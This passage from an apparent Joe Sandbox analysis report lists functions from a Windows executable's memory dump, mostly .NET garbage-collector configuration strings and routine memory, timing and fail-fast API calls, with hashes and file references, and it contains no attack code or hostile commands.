GCEnabledInstructionSets, xrefs: 00007FF7E35832E1
LogFileSize, xrefs: 00007FF7E3582D52

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID: BGCFLEnableFF$BGCFLEnableKd$BGCFLEnableKi$BGCFLEnableSmooth$BGCFLEnableTBH$BGCFLGradualD$BGCFLSmoothFactor$BGCFLSweepGoal$BGCFLSweepGoalLOH$BGCFLTuningEnabled$BGCFLff$BGCFLkd$BGCFLki$BGCFLkp$BGCG2RatioStep$BGCMLki$BGCMLkp$BGCMemGoal$BGCMemGoalSlack$BGCSpin$BGCSpinCount$BreakOnOOM$CompactRatio$ConcurrentGC$ConfigLogEnabled$ConfigLogFile$ConservativeGC$ForceCompact$GCConfigLogFile$GCConserveMem$GCCpuGroup$GCEnableSpecialRegions$GCEnabledInstructionSets$GCGen0MaxBudget$GCGen1MaxBudget$GCHeapAffinitizeMask$GCHeapAffinitizeRanges$GCHeapHardLimit$GCHeapHardLimitLOH$GCHeapHardLimitLOHPercent$GCHeapHardLimitPOH$GCHeapHardLimitPOHPercent$GCHeapHardLimitPercent$GCHeapHardLimitSOH$GCHeapHardLimitSOHPercent$GCHighMemPercent$GCLargePages$GCLogFile$GCLowSkipRatio$GCName$GCNumaAware$GCProvModeStress$GCRegionRange$GCRegionSize$GCWriteBarrier$Gen0Size$HeapCount$HeapVerifyLevel$LOHCompactionMode$LOHThreshold$LatencyLevel$LatencyMode$LogEnabled$LogFile$LogFileSize$NoAffinitize$RetainVM$SegmentSize$ServerGC$System.GC.Concurrent$System.GC.ConserveMemory$System.GC.CpuGroup$System.GC.HeapAffinitizeMask$System.GC.HeapAffinitizeRanges$System.GC.HeapCount$System.GC.HeapHardLimit$System.GC.HeapHardLimitLOH$System.GC.HeapHardLimitLOHPercent$System.GC.HeapHardLimitPOH$System.GC.HeapHardLimitPOHPercent$System.GC.HeapHardLimitPercent$System.GC.HeapHardLimitSOH$System.GC.HeapHardLimitSOHPercent$System.GC.HighMemoryPercent$System.GC.LargePages$System.GC.Name$System.GC.NoAffinitize$System.GC.RetainVM$System.GC.Server
API String ID: 0-658696054
Opcode ID: 5d91cec8345dcd14847125137ea3c03a11dcadacceb965cd2ffe1bbf1cb37226
Instruction ID: 18b0670fcd7294d3fce68c276151dc13030b6b09bf7aaaff8d5efaa930e42f5f
Opcode Fuzzy Hash: 5d91cec8345dcd14847125137ea3c03a11dcadacceb965cd2ffe1bbf1cb37226
Instruction Fuzzy Hash: C9325E61618A9682EBA0AB15F890BA9BB64FF4D7C9FC11133D98C17F24DF3CD2128715

Function 00007FF7E3583720 Relevance: 102.8, Strings: 82, Instructions: 270COMMON

Download Yara Rule

Strings

GCCompactRatio, xrefs: 00007FF7E358397B
GCHeapAffinitizeMask, xrefs: 00007FF7E3583995
System.GC.HeapHardLimitPercent, xrefs: 00007FF7E3583A30
System.GC.CpuGroup, xrefs: 00007FF7E358384D
System.GC.LargePages, xrefs: 00007FF7E358386D
gcConcurrent, xrefs: 00007FF7E3583752
GCLargePages, xrefs: 00007FF7E3583874
GCConfigLogEnabled, xrefs: 00007FF7E3583819
System.GC.HeapHardLimitSOH, xrefs: 00007FF7E3583C2D
gcForceCompact, xrefs: 00007FF7E3583788
BGCSpin, xrefs: 00007FF7E35838E3
GCCpuGroup, xrefs: 00007FF7E3583854
BGCFLTuningEnabled, xrefs: 00007FF7E3583AA0
GCTotalPhysicalMemory, xrefs: 00007FF7E3583A4C
BGCFLGradualD, xrefs: 00007FF7E3583B72
System.GC.HeapHardLimitPOHPercent, xrefs: 00007FF7E3583CAF
System.GC.HeapAffinitizeMask, xrefs: 00007FF7E358398E
BGCFLEnableSmooth, xrefs: 00007FF7E3583BDB
GCGen1MaxBudget, xrefs: 00007FF7E35839EE
GCRegionSize, xrefs: 00007FF7E3583A76
GCHeapHardLimitSOH, xrefs: 00007FF7E3583C34
GCNoAffinitize, xrefs: 00007FF7E35837E3
GCBreakOnOOM, xrefs: 00007FF7E35837C3
System.GC.HeapHardLimitLOH, xrefs: 00007FF7E3583C47
BGCFLEnableFF, xrefs: 00007FF7E3583C05
GCConserveMemory, xrefs: 00007FF7E3583CE5
GCHighMemPercent, xrefs: 00007FF7E35839AF
GCLOHCompact, xrefs: 00007FF7E35838A4
gcConservative, xrefs: 00007FF7E358376D
System.GC.HighMemoryPercent, xrefs: 00007FF7E35839A8
BGCFLEnableKi, xrefs: 00007FF7E3583BB1
GCNumaAware, xrefs: 00007FF7E3583834
BGCMemGoal, xrefs: 00007FF7E3583AB5
GCLowSkipRatio, xrefs: 00007FF7E3583A03
System.GC.ConserveMemory, xrefs: 00007FF7E3583CDE
GCLOHThreshold, xrefs: 00007FF7E35838B9
gcServer, xrefs: 00007FF7E3583732
GCHeapHardLimitLOHPercent, xrefs: 00007FF7E3583C9C
BGCFLkd, xrefs: 00007FF7E3583B33
BGCFLki, xrefs: 00007FF7E3583B1E
GCEnableSpecialRegions, xrefs: 00007FF7E3583A8B
GCgen0size, xrefs: 00007FF7E3583912
HeapVerify, xrefs: 00007FF7E358388F
GCHeapCount, xrefs: 00007FF7E35838FD
GCWriteBarrier, xrefs: 00007FF7E3583CFA
GCGen0MaxBudget, xrefs: 00007FF7E35839D9
GCLatencyLevel, xrefs: 00007FF7E3583951
BGCMLki, xrefs: 00007FF7E3583B9C
System.GC.Concurrent, xrefs: 00007FF7E358374B
BGCFLSweepGoalLOH, xrefs: 00007FF7E3583AF4
System.GC.RetainVM, xrefs: 00007FF7E35837A1
GCRetainVM, xrefs: 00007FF7E35837A8
GCHeapHardLimitPOHPercent, xrefs: 00007FF7E3583CB6
BGCFLEnableKd, xrefs: 00007FF7E3583BC6
System.GC.NoAffinitize, xrefs: 00007FF7E35837DC
GCHeapHardLimitPOH, xrefs: 00007FF7E3583C68
BGCFLkp, xrefs: 00007FF7E3583B09
System.GC.Server, xrefs: 00007FF7E358372B
GCLatencyMode, xrefs: 00007FF7E358393C
BGCSpinCount, xrefs: 00007FF7E35838CE
BGCFLff, xrefs: 00007FF7E3583B48
BGCMemGoalSlack, xrefs: 00007FF7E3583ACA
BGCFLSmoothFactor, xrefs: 00007FF7E3583B5D
BGCFLSweepGoal, xrefs: 00007FF7E3583ADF
BGCMLkp, xrefs: 00007FF7E3583B87
System.GC.HeapHardLimitPOH, xrefs: 00007FF7E3583C61
GCHeapHardLimitSOHPercent, xrefs: 00007FF7E3583C82
GCHeapHardLimit, xrefs: 00007FF7E3583A1D
System.GC.HeapHardLimitLOHPercent, xrefs: 00007FF7E3583C95
System.GC.HeapHardLimitSOHPercent, xrefs: 00007FF7E3583C7B
BGCFLEnableTBH, xrefs: 00007FF7E3583BF0
GCProvModeStress, xrefs: 00007FF7E35839C4
GCHeapHardLimitPercent, xrefs: 00007FF7E3583A37
BGCG2RatioStep, xrefs: 00007FF7E3583C1A
GCRegionRange, xrefs: 00007FF7E3583A61
GCLogFileSize, xrefs: 00007FF7E3583966
GCSegmentSize, xrefs: 00007FF7E3583927
System.GC.HeapHardLimit, xrefs: 00007FF7E3583A16
GCHeapHardLimitLOH, xrefs: 00007FF7E3583C4E
System.GC.HeapCount, xrefs: 00007FF7E35838F6
GCEnabledInstructionSets, xrefs: 00007FF7E3583CCB
GCLogEnabled, xrefs: 00007FF7E35837FE

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID: BGCFLEnableFF$BGCFLEnableKd$BGCFLEnableKi$BGCFLEnableSmooth$BGCFLEnableTBH$BGCFLGradualD$BGCFLSmoothFactor$BGCFLSweepGoal$BGCFLSweepGoalLOH$BGCFLTuningEnabled$BGCFLff$BGCFLkd$BGCFLki$BGCFLkp$BGCG2RatioStep$BGCMLki$BGCMLkp$BGCMemGoal$BGCMemGoalSlack$BGCSpin$BGCSpinCount$GCBreakOnOOM$GCCompactRatio$GCConfigLogEnabled$GCConserveMemory$GCCpuGroup$GCEnableSpecialRegions$GCEnabledInstructionSets$GCGen0MaxBudget$GCGen1MaxBudget$GCHeapAffinitizeMask$GCHeapCount$GCHeapHardLimit$GCHeapHardLimitLOH$GCHeapHardLimitLOHPercent$GCHeapHardLimitPOH$GCHeapHardLimitPOHPercent$GCHeapHardLimitPercent$GCHeapHardLimitSOH$GCHeapHardLimitSOHPercent$GCHighMemPercent$GCLOHCompact$GCLOHThreshold$GCLargePages$GCLatencyLevel$GCLatencyMode$GCLogEnabled$GCLogFileSize$GCLowSkipRatio$GCNoAffinitize$GCNumaAware$GCProvModeStress$GCRegionRange$GCRegionSize$GCRetainVM$GCSegmentSize$GCTotalPhysicalMemory$GCWriteBarrier$GCgen0size$HeapVerify$System.GC.Concurrent$System.GC.ConserveMemory$System.GC.CpuGroup$System.GC.HeapAffinitizeMask$System.GC.HeapCount$System.GC.HeapHardLimit$System.GC.HeapHardLimitLOH$System.GC.HeapHardLimitLOHPercent$System.GC.HeapHardLimitPOH$System.GC.HeapHardLimitPOHPercent$System.GC.HeapHardLimitPercent$System.GC.HeapHardLimitSOH$System.GC.HeapHardLimitSOHPercent$System.GC.HighMemoryPercent$System.GC.LargePages$System.GC.NoAffinitize$System.GC.RetainVM$System.GC.Server$gcConcurrent$gcConservative$gcForceCompact$gcServer
API String ID: 0-2080704861
Opcode ID: 1d9ea1ae8f7853fcbb2035dbdcf46aaac34e09551b1d5d4f4f36f9c21da8c312
Instruction ID: a87d8a1ae34d08393b50fcc3a4ac55ecd678feb2caa63b4a87def7a7bc30c2cb
Opcode Fuzzy Hash: 1d9ea1ae8f7853fcbb2035dbdcf46aaac34e09551b1d5d4f4f36f9c21da8c312
Instruction Fuzzy Hash: C0F1A76092C58790F780FB66ECD52F0BB75AF98312BC54073D04E761669E7CA26AC372

Function 00007FF7E3582890 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32 ref: 00007FF7E35828CC
GetCurrentProcess.KERNEL32 ref: 00007FF7E35828F4
OpenProcessToken.ADVAPI32 ref: 00007FF7E3582907
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF7E358292C
GetLastError.KERNEL32 ref: 00007FF7E3582934
CloseHandle.KERNEL32 ref: 00007FF7E3582941
GetLargePageMinimum.KERNEL32 ref: 00007FF7E3582956
VirtualAlloc.KERNEL32 ref: 00007FF7E3582987
GetCurrentProcess.KERNEL32 ref: 00007FF7E3582993
VirtualAllocExNuma.KERNEL32 ref: 00007FF7E35829B3

Strings

SeLockMemoryPrivilege, xrefs: 00007FF7E35828C5

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentTokenVirtual$AdjustCloseErrorHandleLargeLastLookupMinimumNumaOpenPagePrivilegePrivilegesValue
String ID: SeLockMemoryPrivilege
API String ID: 1752251271-475654710
Opcode ID: 1a2862dd90dccfa9a81e54bf5d2b295596dc0d2044562f65404962315b9e1cb2
Instruction ID: f343130d54a8736b299b518e0147f000288a92c76875ad3794a10e72b2a58694
Opcode Fuzzy Hash: 1a2862dd90dccfa9a81e54bf5d2b295596dc0d2044562f65404962315b9e1cb2
Instruction Fuzzy Hash: B231D432A1C64285F7A0AB72B44437AEFB1EB84B84F841136DA4D5BB54DF3DD1498B21

Function 00007FF7E3577EC0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 248COMMON

Download Yara Rule

APIs

RaiseFailFastException.KERNEL32(?,?,00000000,00000000,00000000,?,00007FF7E3578880,?,?,?,?,?,?,?,?,?), ref: 00007FF7E3577F4B
RaiseFailFastException.KERNEL32(?,?,00000000,00000000,00000000,?,00007FF7E3578880,?,?,?,?,?,?,?,?,?), ref: 00007FF7E35780AA
RaiseFailFastException.KERNEL32(?,?,00000000,00000000,00000000,?,00007FF7E3578880,?,?,?,?,?,?,?,?,?), ref: 00007FF7E35781A0
RaiseFailFastException.KERNEL32(?,?,00000000,00000000,00000000,?,00007FF7E3578880,?,?,?,?,?,?,?,?,?), ref: 00007FF7E35781B6
RaiseFailFastException.KERNEL32(?,?,00000000,00000000,00000000,?,00007FF7E3578880,?,?,?,?,?,?,?,?,?), ref: 00007FF7E3578216

Strings

[ KeepUnwinding ], xrefs: 00007FF7E35781CA

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: ExceptionFailFastRaise
String ID: [ KeepUnwinding ]
API String ID: 2546344036-400895726
Opcode ID: 915c5e9101982ef85af9a43bc3cfe156fed0120c7793f84e5fde07d7cabb1885
Instruction ID: 1f957e04aa4096a71817a5f033ac66ed7167b0b99f5dc3135e2c1b9bf5359443
Opcode Fuzzy Hash: 915c5e9101982ef85af9a43bc3cfe156fed0120c7793f84e5fde07d7cabb1885
Instruction Fuzzy Hash: 59C19E72A09B4281EB94AF34D4813B97BA1FB44B49F984137CE4D1B398DF39E595C322

Function 00007FF7E35D92DC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7E35D9308
GetCurrentThreadId.KERNEL32 ref: 00007FF7E35D9316
GetCurrentProcessId.KERNEL32 ref: 00007FF7E35D9322
QueryPerformanceCounter.KERNEL32 ref: 00007FF7E35D9332

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: b684cd9f6bae3ddb2e4f8fdc1087b23f524d747017c22d8809c7f62526f24cc6
Instruction ID: a39127b6d2434c80c949f3906bb296b53654efcc4870bee35aa9a24764017864
Opcode Fuzzy Hash: b684cd9f6bae3ddb2e4f8fdc1087b23f524d747017c22d8809c7f62526f24cc6
Instruction Fuzzy Hash: 52119A22B04F058AEB40DF71E8543B877A4FB19758F801E32EA2D927A4DF78E1688350

Function 00007FF7E3575270 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 193COMMON

Download Yara Rule

APIs

RaiseFailFastException.KERNEL32 ref: 00007FF7E3575581

Strings

The required instruction sets are not supported by the current CPU., xrefs: 00007FF7E357556E

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: ExceptionFailFastRaise
String ID: The required instruction sets are not supported by the current CPU.
API String ID: 2546344036-3318624164
Opcode ID: bf7b72df4d136d0aac6dca5c477934f391bb1e94f0d28fd6456ad0c696d7c5ec
Instruction ID: b9c78d2891e72f5354f4207467247e5a3c6bb75c7ae66f22688aaff6528ae6ec
Opcode Fuzzy Hash: bf7b72df4d136d0aac6dca5c477934f391bb1e94f0d28fd6456ad0c696d7c5ec
Instruction Fuzzy Hash: 59716370B2823646F7E46B295885B34BEA26F1534BFD0087AD40D67BA1CD3D77604B63

Function 00007FF7E359DC30 Relevance: 2.0, APIs: 1, Instructions: 456COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E3581CC0: CreateEventW.KERNEL32 ref: 00007FF7E3581D01

Part of subcall function 00007FF7E3582690: QueryPerformanceCounter.KERNEL32 ref: 00007FF7E3582699

DebugBreak.KERNEL32 ref: 00007FF7E359E3EA

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: BreakCounterCreateDebugEventPerformanceQuery
String ID:
API String ID: 4239280443-0
Opcode ID: e96f7d281132337fea8e7f377ba37c97c6aba31005ca11e535279debe24b78da
Instruction ID: 782a562bfbe5c99fa35841ac14646b8355d2d7b99366b9bf9b20a136895b572b
Opcode Fuzzy Hash: e96f7d281132337fea8e7f377ba37c97c6aba31005ca11e535279debe24b78da
Instruction Fuzzy Hash: 18420931918B8685F780AB24E8C0374BBA4FB5D746F91523AD98C32765DF3CA1B0D762

Function 00007FF7E35A1800 Relevance: 1.9, Strings: 1, Instructions: 621COMMON

Download Yara Rule

Strings

, xrefs: 00007FF7E35A1DDC

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 170f8f4704fea771372d3c5e4c17b39ad4eafef7f37a81aab25316a8070dc8bd
Instruction ID: 847854bfa10549116791db2f91d5f8472d35038b465ff0a23221493f9d71f784
Opcode Fuzzy Hash: 170f8f4704fea771372d3c5e4c17b39ad4eafef7f37a81aab25316a8070dc8bd
Instruction Fuzzy Hash: 6B52F932A18B8686EB909F15E890378BFA1FB49791F840533C96D67794DF3CE560D322

Function 00007FF7E3597F10 Relevance: 1.7, Strings: 1, Instructions: 481COMMON

Download Yara Rule

Strings

========== ENDGC %d (gen = %lu, collect_classes = %lu) ===========}, xrefs: 00007FF7E35986FB

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID: ========== ENDGC %d (gen = %lu, collect_classes = %lu) ===========}
API String ID: 0-2256439813
Opcode ID: 50da1d7dbb71d666163056a1c3305b8d57314540a6760d0100d8d9bcf4b189ee
Instruction ID: daeb53e87f7f6315a11907f0490e50074b1f8739817a616442bceb9a021f7792
Opcode Fuzzy Hash: 50da1d7dbb71d666163056a1c3305b8d57314540a6760d0100d8d9bcf4b189ee
Instruction Fuzzy Hash: 7A42D831A09B8686EA95AB29D480375BBB0FF08786F944137CA5D27361DF3DE071C762

Function 00007FF7E358E2F0 Relevance: 1.7, Strings: 1, Instructions: 439COMMON

Download Yara Rule

Strings

?, xrefs: 00007FF7E358E33E

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID: ?
API String ID: 0-1684325040
Opcode ID: 39d35dd192e213be530d99728a9c3530756a8bd52014cd6a83916c8dc71fdbc9
Instruction ID: bc435f49168cc7df2a6c51796cf89871fc4671d0ac7b9e20d328ae8790ec75d8
Opcode Fuzzy Hash: 39d35dd192e213be530d99728a9c3530756a8bd52014cd6a83916c8dc71fdbc9
Instruction Fuzzy Hash: B6120432A08B8281EA90EF21E444779FBA4FB85B94FA44232CE5D6B794CF3CE451C751

Function 00007FF7E35940D0 Relevance: 1.6, Strings: 1, Instructions: 302COMMON

Download Yara Rule

Strings

, xrefs: 00007FF7E3594313

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: CounterPerformanceQuery
String ID:
API String ID: 2783962273-3916222277
Opcode ID: d52441a9fe127e5d59a6260759f4b20b6237ae2c80609afff28cd25b6676035c
Instruction ID: a817e5417ff8b7f4a29553b91c5ad5fb2a16eba2cc34666b5e38be24fd77c50f
Opcode Fuzzy Hash: d52441a9fe127e5d59a6260759f4b20b6237ae2c80609afff28cd25b6676035c
Instruction Fuzzy Hash: BBD1D6A2A18A8681EB80EB39E450379BB90FB45BA4F944333DA7D277D4DF3CE4518351

Function 00007FF7E35A2700 Relevance: .9, Instructions: 945COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb7677469dab8905c15279e3cad53667b5c7cafe09fa7859a7ab39fefe507f69
Instruction ID: ee006c568068348062c5e791181136d7914c00ec78adc07c790c16df7771063e
Opcode Fuzzy Hash: fb7677469dab8905c15279e3cad53667b5c7cafe09fa7859a7ab39fefe507f69
Instruction Fuzzy Hash: 1592D121F18B4685EA91BB65A8817B4FBA1AF48BC6FC44537DC0E77360DE3DE4518322

Function 00007FF7E359C160 Relevance: .7, Instructions: 694COMMON

Download Yara Rule

Memory Dump Source

